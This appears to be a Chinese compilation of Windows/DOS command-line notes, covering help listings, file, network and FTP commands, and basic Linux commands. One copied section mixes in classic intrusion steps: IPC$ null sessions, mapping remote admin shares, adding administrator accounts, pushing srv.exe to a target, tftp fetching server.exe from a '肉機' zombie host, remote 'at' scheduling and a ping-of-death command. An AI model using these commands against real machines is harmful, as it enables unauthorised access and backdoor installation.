DOS 命令幫助文檔 command line shell
用好windows的快捷鍵
http://www.pcfree.cn/cn/service/OS/windows/2004/09/04/article15042615.html
DOS 進入全屏 Alt + Enter
DOS 退出全屏 Alt + Enter 或 Ctrl + Esc 或 exit
32位dos
C:\WINDOWS\system32>cmd.exe
16位dos
C:\WINDOWS\system32>command.com
C:\Documents and Settings\Lindows>cmd
Microsoft Windows XP [版本 5.1.2600]
(C) 版權所有 1985-2001 Microsoft Corp.
C:\Documents and Settings\Lindows>help
有關某個命令的詳細信息,請鍵入 HELP 命令名
ASSOC 顯示或修改文件擴展名關聯。
AT 計劃在計算機上運行的命令和程序。
ATTRIB 顯示或更改文件屬性。
BREAK 設置或清除擴展式 CTRL+C 檢查。
CACLS 顯示或修改文件的訪問控制列表(ACLs)。
CALL 從另一個批處理程序調用這一個。
CD 顯示當前目錄的名稱或將其更改。
CHCP 顯示或設置活動代碼頁數。
CHDIR 顯示當前目錄的名稱或將其更改。
CHKDSK 檢查磁盤並顯示狀態報告。
CHKNTFS 顯示或修改啓動時間磁盤檢查。
CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設置默認控制檯前景和背景顏色。
COMP 比較兩個或兩套文件的內容。
COMPACT 顯示或更改 NTFS 分區上文件的壓縮。
CONVERT 將 FAT 卷轉換成 NTFS。您不能轉換
當前驅動器。
COPY 將至少一個文件複製到另一個位置。
DATE 顯示或設置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKCOMP 比較兩個軟盤的內容。
DISKCOPY 將一個軟盤的內容複製到另一個軟盤。
DOSKEY 編輯命令行、調用 Windows 命令並創建宏。
ECHO 顯示消息,或將命令回顯打開或關上。
ENDLOCAL 結束批文件中環境更改的本地化。
ERASE 刪除至少一個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個或兩套文件,並顯示
不同處。
FIND 在文件中搜索文字字符串。
FINDSTR 在文件中搜索字符串。
FOR 爲一套文件中的每個文件運行一個指定的命
FORMAT 格式化磁盤,以便跟 Windows 使用。
FTYPE 顯示或修改用於文件擴展名關聯的文件類型
GOTO 將 Windows 命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL 啓用 Windows 來以圖像模式顯示
擴展字符集。
HELP 提供 Windows 命令的幫助信息。
IF 執行批處理程序中的條件性處理。
LABEL 創建、更改或刪除磁盤的卷標。
MD 創建目錄。
MKDIR 創建目錄。
MODE 配置系統設備。
MORE 一次顯示一個結果屏幕。
MOVE 將文件從一個目錄移到另一個目錄。
PATH 顯示或設置可執行文件的搜索路徑。
PAUSE 暫停批文件的處理並顯示消息。
POPD 還原 PUSHD 保存的當前目錄的上一個值。
PRINT 打印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存當前目錄,然後對其進行更改。
RD 刪除目錄。
RECOVER 從有問題的磁盤恢復可讀信息。
REM 記錄批文件或 CONFIG.SYS 中的註釋。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
SET 顯示、設置或刪除 Windows 環境變量。
SETLOCAL 開始批文件中環境更改的本地化。
SHIFT 更換批文件中可替換參數的位置。
SORT 對輸入進行分類。
START 啓動另一個窗口來運行指定的程序或命令。
SUBST 將路徑跟一個驅動器號關聯。
TIME 顯示或設置系統時間。
TITLE 設置 CMD.EXE 會話的窗口標題。
TREE 以圖形模式顯示驅動器或路徑的目錄結構。
TYPE 顯示文本文件的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否驗證文件是否已正確
寫入磁盤。
VOL 顯示磁盤卷標和序列號。
XCOPY 複製文件和目錄樹。
windows cmd 用法簡介
http://destroyed.iteye.com/blog/346585
Windows CMD 命令大全
http://destroyed.iteye.com/blog/346588
DOS 管道使用
分頁顯示
C:\Documents and Settings\Lindows>help | more
分頁顯示並寫入c:\cmd.txt
C:\Documents and Settings\Lindows>help | more > c:\cmd.txt
分頁顯示並在尾部追加寫入c:\cmd.txt
C:\Documents and Settings\Lindows>help | more >> c:\cmd.txt
DOS查看系統基本信息
dos查看XP系統信息
C:\Documents and Settings\Lindows>systeminfo
dos查看XP系統內存
C:\Documents and Settings\Lindows>mem
http://blog.chinaunix.net/u2/67395/showart.php?id=1093232
DOS命令講解
常用的命令
dos 空格問題解決 如Program Files寫成"Program Files"即可
cd 改變當前目錄 如:D:\>cd "Program Files"
cls 清屏
copy 拷貝文件 http://wenwen.soso.com/z/q118521496.htm
如:
開始--運行--輸入--cmd
D:\>copy E:\lindows\workspace\ejb\WebRoot\WEB-INF\classes\HelloWorld.jar E:\lindows\program\ejb\jboss-4.2.3.GA\server\default\deploy\HelloWorld.jar
或者
開始--運行--輸入--cmd
D:\>copy "C:\Documents and Settings\lindows\桌面\新建 WinRAR 壓縮文件.rar" "C:\Program Files\WinRAR"
或者
開始--運行--輸入--cmd
D:\>copy "C:\Documents and Settings\lindows\桌面\新建 WinRAR 壓縮文件.rar" "C:\Program Files\WinRAR\"
或者
開始--運行--輸入--cmd (拷貝並改名)
D:\>copy "C:\Documents and Settings\lindows\桌面\新建 WinRAR 壓縮文件.rar" "C:\Program Files\WinRAR\test.rar"
del 刪除文件
deltree 刪除目錄樹
dir 列文件名 如:E:\doc>dir *.txt 如: E:\doc> dir like "*.txt"
diskcopy 複製磁盤
edit 文本編輯
format 格式化磁盤
md 建立子目錄
mem 查看內存狀況
more 分屏顯示
move 移動文件、改目錄名
ren 改變文件名
type 顯示文件內容
sys 製作DOS系統盤
xcopy 拷貝目錄與文件
attrib 設置文件屬性
chkdsk 檢查磁盤
date 顯示及修改日期
defrag 磁盤碎片整理
doskey 重新調用DOS命令
emm386 擴展內存管理
fdisk 硬盤分區
help 幫助
label 設置卷標號
lh 將程序裝入高端內存
memmaker內存優化管理
msd 系統檢測
path 設置搜尋目錄
prempt 設置提示符
restore 恢復備份文件
time 顯示及修改時間
scandisk檢測、修理磁盤
set 設置環境變量
smartdrv設置磁盤加速器
undelete恢復被刪的文件
不常用
http://blog.chinaunix.net/u1/53398/showart.php?id=476988
http://www.cnblogs.com/fly8/archive/2007/05/29/764107.html
sc delete YourServiceName 刪除服務名
append 設置非執行文件路徑
debug 隨機調試程序
diskcomp磁盤比較
expand 還原DOS文件
fasthelp快速顯示幫助信息
fc 文件比較
interink啓動服務器
intersvr啓動客戶機
qbasic Basic集成環境
setver 設置版本
share 文件共享
subst 路徑替換
tree /? 列目錄樹 如:C:\Documents and Settings\Lindows>tree d:work /f 或 tree d:work /a
unformat恢復已格式化的磁盤
vsafe 防病毒
ver 顯示DOS版本號
vol 顯示磁盤卷標號
ctty 改變控制設備
DOS常用命令詳解 dir 列文件名 deltree 刪除目錄樹 cls 清屏 cd 改變當前目錄
diskcopy 複製磁盤 del 刪除文件 format 格式化磁盤
edit 文本編輯 mem 查看內存狀況 md 建立子目錄 move 移動文件、改目錄名
more 分屏顯示 type 顯示文件內容
sys 製作DOS系統盤
ren 改變文件名 xcopy 拷貝目錄與文件 chkdsk 檢查磁盤 attrib 設置文件屬性
fdisk 硬盤分區 date 顯示及修改日期 label 設置卷標號 defrag 磁盤碎片整理
msd 系統檢測 path 設置搜尋目錄 share 文件共享 memmaker內存優化管理
help 幫助 restore 恢復備份文件 set 設置環境變量 time 顯示及修改時間
tree 列目錄樹 debug 隨機調試程序 doskey 重新調用DOS命令 prempt 設置提示符 undelete恢復被刪的文件 scandisk檢測、修理磁盤
不常用DOS命令
diskcomp磁盤比較 append 設置非執行文件路徑
expand 還原DOS文件 fasthelp快速顯示幫助信息
fc 文件比較 interink啓動服務器
setver 設置版本 intersvr啓動客戶機
subst 路徑替換 qbasic Basic集成環境
vsafe 防病毒 unformat恢復已格式化的磁盤
ver 顯示DOS版本號 smartdrv設置磁盤加速器
vol 顯示磁盤卷標號 lh 將程序裝入高端內存
ctty 改變控制設備 emm386 擴展內存管理
常用命令具體介紹:
一、Dir
顯示目錄文件和子目錄列表,呵呵,這個當然是人人要知道的。
可以使用通配符(? 和 *),?表通配一個字符,*表通配任意字符
*.後綴
指定要查看後綴的文件。 上面其實也可以爲「 . 後綴」,例如dir *.exe 等於dir .exe
/p
每次顯示一個列表屏幕。要查看下一屏,請按鍵盤上的任意鍵。
/w
以寬格式顯示列表,在每一行上最多顯示 5 個文件名或目錄名。
/s
列出指定目錄及所有子目錄中出現的每個指定的文件名。比win環境下的查找快多了
dir *.* -> a.txt 把當前目錄文件列表寫入a.txt
dir *.* /s -> a.txt 把當前目錄文件列表寫入a.txt,包括子目錄下文件。
二、Attrib
顯示、設置或刪除指派給文件或目錄的只讀、存檔、系統以及隱藏屬性。如果在不含參數的情況下使用,則 attrib 會顯示當前目錄中所有文件的屬性。
+r
設置只讀屬性。
-r
清除只讀屬性。
+a
設置存檔文件屬性。
-a
清除存檔文件屬性。
+s
設置系統屬性。
-s
清除系統屬性。
+h
設置隱藏屬性。
-h
清除隱藏屬性。
三、Cl*
清除顯示在命令提示符窗口中的所有信息,並返回空窗口,即「清屏」
四、**it
退出當前命令解釋程序並返回到系統。
五、format
格式化
/q
執行快速格式化。刪除以前已格式化卷的文件表和根目錄,但不在扇區之間掃描損壞區域。使用 /q 命令行選項應該僅格式化以前已格式化的完好的卷。
六、Ipconfig
顯示所有當前的 TCP/IP 網絡配置值、刷新動態主機配置協議 (DHCP) 和域名系統 (DNS) 設置。使用不帶參數的 ipconfig 可以顯示所有適配器的 IP 地址、子網掩碼、默認網關。
/all
顯示所有適配器的完整 TCP/IP 配置信息。
ipconfig 等價於 winipcfg,後者在ME、98 和 95 上可用。儘管 Windows XP 沒有提供象 winipcfg 命令一樣的圖形化界面,但可以使用「網絡連接」查看和更新 IP 地址。要做到這一點,請打開 網絡連接,右鍵單擊某一網絡連接,單擊「狀態」,然後單擊「支持」選項卡。
該命令最適用於配置爲自動獲取 IP 地址的計算機。它使用戶可以確定哪些 TCP/IP 配置值是由 DHCP、自動專用 IP 地址 (APIPA) 和其他配置配置的。
七、md
創建目錄或子目錄
八、Move
將一個或多個文件從一個目錄移動到指定的目錄。
九、Nbtstat
顯示本地計算機和遠程計算機的基於 TCP/IP (NetBT) 協議的 NetBIOS 統計資料、NetBIOS 名稱表和 NetBIOS 名稱緩存。Nbtstat 可以刷新 NetBIOS 名稱緩存和註冊的 Windows Internet 名稱服務 (WINS) 名稱。使用不帶參數的 nbtstat 顯示幫助。Nbtstat 命令行參數區分大小寫。
-a remotename
顯示遠程計算機的 NetBIOS 名稱表,其中,RemoteName 是遠程計算機的 NetBIOS 計算機名稱。
-A IPAddress 顯示遠程計算機的 NetBIOS 名稱表,其名稱由遠程計算機的 IP 地址指定(以小數點分隔)。
KMHOST查詢
http://gurudk.iteye.com/upload/picture/pic/24791/b6135949-64e6-3b29-a257-cc7349014779.jpg
http://zhidao.baidu.com/question/11203050.html?fr=qrl&fr2=query
是用來進行NETBIOS名靜態解析的。
將NETBIOS名和IP地址對應起來,功能類似於DNS,只不過DNS是將域名/主機名和IP對應。
潘霞 nbstat -a ip 可以查到計算機名
十、Netstat
顯示活動的 TCP 連接、計算機偵聽的端口、以太網統計信息、IP 路由表、IPv4 統計信息(對於 IP、ICMP、TCP 和 UDP 協議)以及 IPv6 統計信息(對於 IPv6、ICMPv6、通過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協議)。使用時如果不帶參數,netstat 顯示活動的 TCP 連接。
十一、*ing
通過發送「網際消息控制協議 (ICMP)」迴響請求消息來驗證與另一臺 TCP/IP 計算機的 IP 級連接。迴響應答消息的接收情況將和往返過程的次數一起顯示出來。Ping 是用於檢測網絡連接性、可到達性和名稱解析的疑難問題的主要 TCP/IP 命令。如果不帶參數,ping 將顯示幫助。名稱和Ip地址解析是它的最簡單應用也是用的最多的。
-t
指定在中斷前 ping 可以持續發送迴響請求信息到目的地。要中斷並顯示統計信息,請按 CTRL-BREAK。要中斷並退出 ping,請按 CTRL-C。
-lSize
指定發送的迴響請求消息中「數據」字段的長度(以字節表示)。默認值爲 32。size 的最大值是 65,527。
十二、Rename (Ren)
更改文件的名稱。
例如 ren *.abc *.cba
十三、Set
顯示、設置或刪除環境變量。如果沒有任何參數,set 命令將顯示當前環境設置。
十四、Shutdown
允許您關閉或重新啓動本地或遠程計算機。如果沒有使用參數,shutdown 將註銷當前用戶。
-m ComputerName
指定要關閉的計算機。
-t xx
將用於系統關閉的定時器設置爲 xx 秒。默認值是 20 秒。
-l
註銷當前用戶,這是默認設置。-m ComputerName 優先。
-s
關閉本地計算機。
-r
關閉之後重新啓動。
-a
中止關閉。除了 -l 和 ComputerName 外,系統將忽略其它參數。在超時期間,您只可以使用 -a。
十五、System File Checker (sfc)
win下才有,在重新啓動計算機後掃描和驗證所有受保護的系統文件。
/scannow
立即掃描所有受保護的系統文件。
/scanonce
一次掃描所有受保護的系統文件。
/purgecache
立即清除「Windows 文件保護」文件高速緩存,並掃描所有受保護的系統文件。
/cachesize=x
設置「Windows 文件保護」文件高速緩存的大小,以 MB 爲單位。
十六、type
顯示文本文件的內容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree
圖像化顯示路徑或驅動器中磁盤的目錄結構。
十八、Xcopy
複製文件和目錄,包括子目錄。
/s
複製非空的目錄和子目錄。如果省略 /s,xcopy 將在一個目錄中工作。
/e
複製所有子目錄,包括空目錄。
十九、copy
將一個或多個文件從一個位置複製到其他位置
二十、del
刪除指定文件。
ftp和bat批命令和net和telnet由於子命令太多,這裏不說了,不過這幾個都是常用到的。
CMD命令大全(已更新)
http://yanguz123.iteye.com/blog/1724807
net use [url=file://ip/ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空鏈接
net use [url=file://ip/ipc$]\\ip\ipc$[/url] "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: [url=file://ip/c$]\\ip\c$[/url] "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地爲H:
net use h: [url=file://ip/c$]\\ip\c$[/url] 登陸後映射對方C:到本地爲H:
net use [url=file://ip/ipc$]\\ip\ipc$[/url] /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的爲H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup ***istrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員權限,注意:***istrator後加s用複數
net start 查看開啓了哪些服務
net start 服務名 開啓服務;(如:net start telnet, net start schedule)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地局域網內開啓了哪些共享
net view [url=file://ip/]\\ip[/url] 查看對方局域網內開啓了哪些共享
net config 顯示系統網絡設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 局域網內正在使用的網絡連接類型和信息
net share 查看本地開啓的共享
net share ipc$ 開啓ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改爲12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啓了哪些端口,常用netstat -an
netstat -n 查看端口的網絡連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -0 查看正在進行的工作 進程號
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況 nbtstat -A ip 對方136到139其中一個端口開了的話,就可查看對方最近登陸的用戶名(03前的爲用戶名)-注意:參數-A要大寫
衝突端口查看相關信息和PID,並打印到 c:\a.txt
C:\Documents and Settings\Lindows>netstat -ano >c:\a.txt
然後關掉任務管理器裏對應的PID進程號即可。
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小爲32字節的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(爲系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(爲系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪 除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啓已註冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計劃任務
at 查看所有的計劃任務
at [url=file://ip/]\\ip[/url] time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啓動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 端口 遠和登陸服務器,默認端口爲23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑\文件名1 路徑\文件名2 /y 複製文件1到指定的目錄爲文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
copy c:\srv.exe [url=file://ip/***$]\\ip\***$[/url] 複製本地c:\srv.exe到對方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
copy [url=file://ip/***$/svv.exe]\\ip\***$\svv.exe[/url] c:\ 或:copy \\ip\***$\*.* 複製對方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要複製的文件或目錄樹 目標地址\目錄名 複製文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 端口 用於上傳文件至服務器或進行文件操作,默認端口爲21。bin指用二進制方式傳送(可執行文件進);默認爲ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網絡地址Network addres,子網掩碼Netmask,網關地址Gateway addres,接口地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加爲某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變量名稱=要指派給變量的字符 設置環境變量
set 顯示當前所有的環境變量
set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環境變量
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變量)
goto 標籤 將cmd.exe導向到批處理程序中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:「:start」標籤)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變量)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
DOS下統計文本文件的行數的命令是什麼?
http://zhidao.baidu.com/question/62500981.html
D:\>findstr /R /N "^" myfile.txt | find /C ":"
288
findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello 如:
C:\Documents and Settings\lindows>netstat -an | findstr 3389
或
C:\Documents and Settings\lindows>netstat -an | findstr "3389"
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 172.17.25.104:1161 172.17.25.207:3389 ESTABLISHED
例2:
C:\>type sanple_detail.log | findstr "備份"
備份暫掛 = NO
要保留的數據庫備份的數目 (NUM_DB_BACKUPS) = 12
自動數據庫備份 (AUTO_DB_BACKUP) = OFF
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制檯前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改爲:EntSky\ )
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字符
doskey 要解鎖命令= 爲DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁盤D並顯示狀態報告;加參數/f並修復磁盤上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認端口23爲其它任何端口
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 爲可執行文件設置一個路徑。
cmd 啓動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啓命令擴展;更我詳細說明見cmd /?
regedit /s 註冊表文件名 導入註冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 註冊表文件名 導出註冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名erm 替換指定用戶的訪問權限;/G 用戶名erm 賦予指定用戶訪問權限;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶權限列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網絡配置情況
IIS服務命令:
iisreset /reboot 重啓win2k計算機(但有提示系統將重啓信息出現)
iisreset /start或stop 啓動(停止)所有Internet服務
iisreset /restart 停止然後重新啓動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啓用(禁用)Internet服務的重新啓動
iisreset /rebootonerror 當啓動、停止或重新啓動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值爲重新啓動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式爲:
ftp -v -d -i -n -g[主機名] -v 顯示遠程服務器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(缺省值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠程服務器的ftp會話(與open對應)
open host[port] 建立指定ftp服務器連接,可指定連接端口
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
打開 dos " 批量 文件 FTP自動傳輸 "
C:\Users\Lindows>ftp 192.168.114.4
Connected to 192.168.114.4.
220 Microsoft FTP Service
User (192.168.114.4:(none)): b2c
331 Password required for b2c.
Password:
230 User logged in.
ftp> bin
200 Type set to I.
ftp> mput *.zip
" 在這裏回車多行即可自動傳輸默認多行文件 "
mput 2010-10-29-03-21-26_2.zip? 200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
496328778 bytes sent in 97 seconds (5e+03 Kbytes/s)
ftp> ftp> ftp> ftp> ftp> ftp> ftp>
ftp> close
221 Goodbye.
ftp> by
如:
C:\Documents and Settings\lindows\桌面>rename "新建 WinRAR 壓縮文件".rar test.rar
或
C:\Documents and Settings\lindows\桌面>move "新建 WinRAR 壓縮文件".rar D:\test.rar
http://www.dzwebs.net/846.html
如1.txt,2.txt,3.txt,4.txt......100000.txt;需要將他們全部重新命名爲1-1.txt,2-1.txt,3-1.txt,4-1.txt......100000-1.txt
首先建立一個名爲rename.bat的文件,裏面的代碼相當簡單,是這樣的代碼
rename ???????????????.txt ???????????????-1.txt
//看懂了嗎,就這麼簡單,使用的?越多,說明越能對長文件名進行改名 !
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果缺省,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件權限
case 當爲ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換爲小寫字母
cd remote-dir 進入遠程主機目錄
cdup 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啓本地或遠程主機。
參數說明:/S 關閉主機,/R 重啓主機, /T 數字 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啓本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
http://lindows.iteye.com/admin/blogs/213348
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啓動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程加載的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 複製文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取權限
grep 在檔案中查找字符串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一臺機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 權限轉換爲指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某服務器(同win2K)
附:批處理命令與變量
1:for命令及變量 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變量則用:%%i ,而調用變量時用:%i% ,變量是區分大小寫的(%i 不等於 %
XP.CMD命令大全
有關某個命令的詳細信息,請鍵入 HELP 命令名
ASSOC 顯示或修改文件擴展名關聯。
AT 計劃在計算機上運行的命令和程序。
ATTRIB 顯示或更改文件屬性。
BREAK 設置或清除擴展式 CTRL+C 檢查。
CACLS 顯示或修改文件的訪問控制列表(ACLs)。
CALL 從另一個批處理程序調用這一個。
CD 顯示當前目錄的名稱或將其更改。
CHCP 顯示或設置活動代碼頁數。
CHDIR 顯示當前目錄的名稱或將其更改。
CHKDSK 檢查磁盤並顯示狀態報告。
CHKNTFS 顯示或修改啓動時間磁盤檢查。
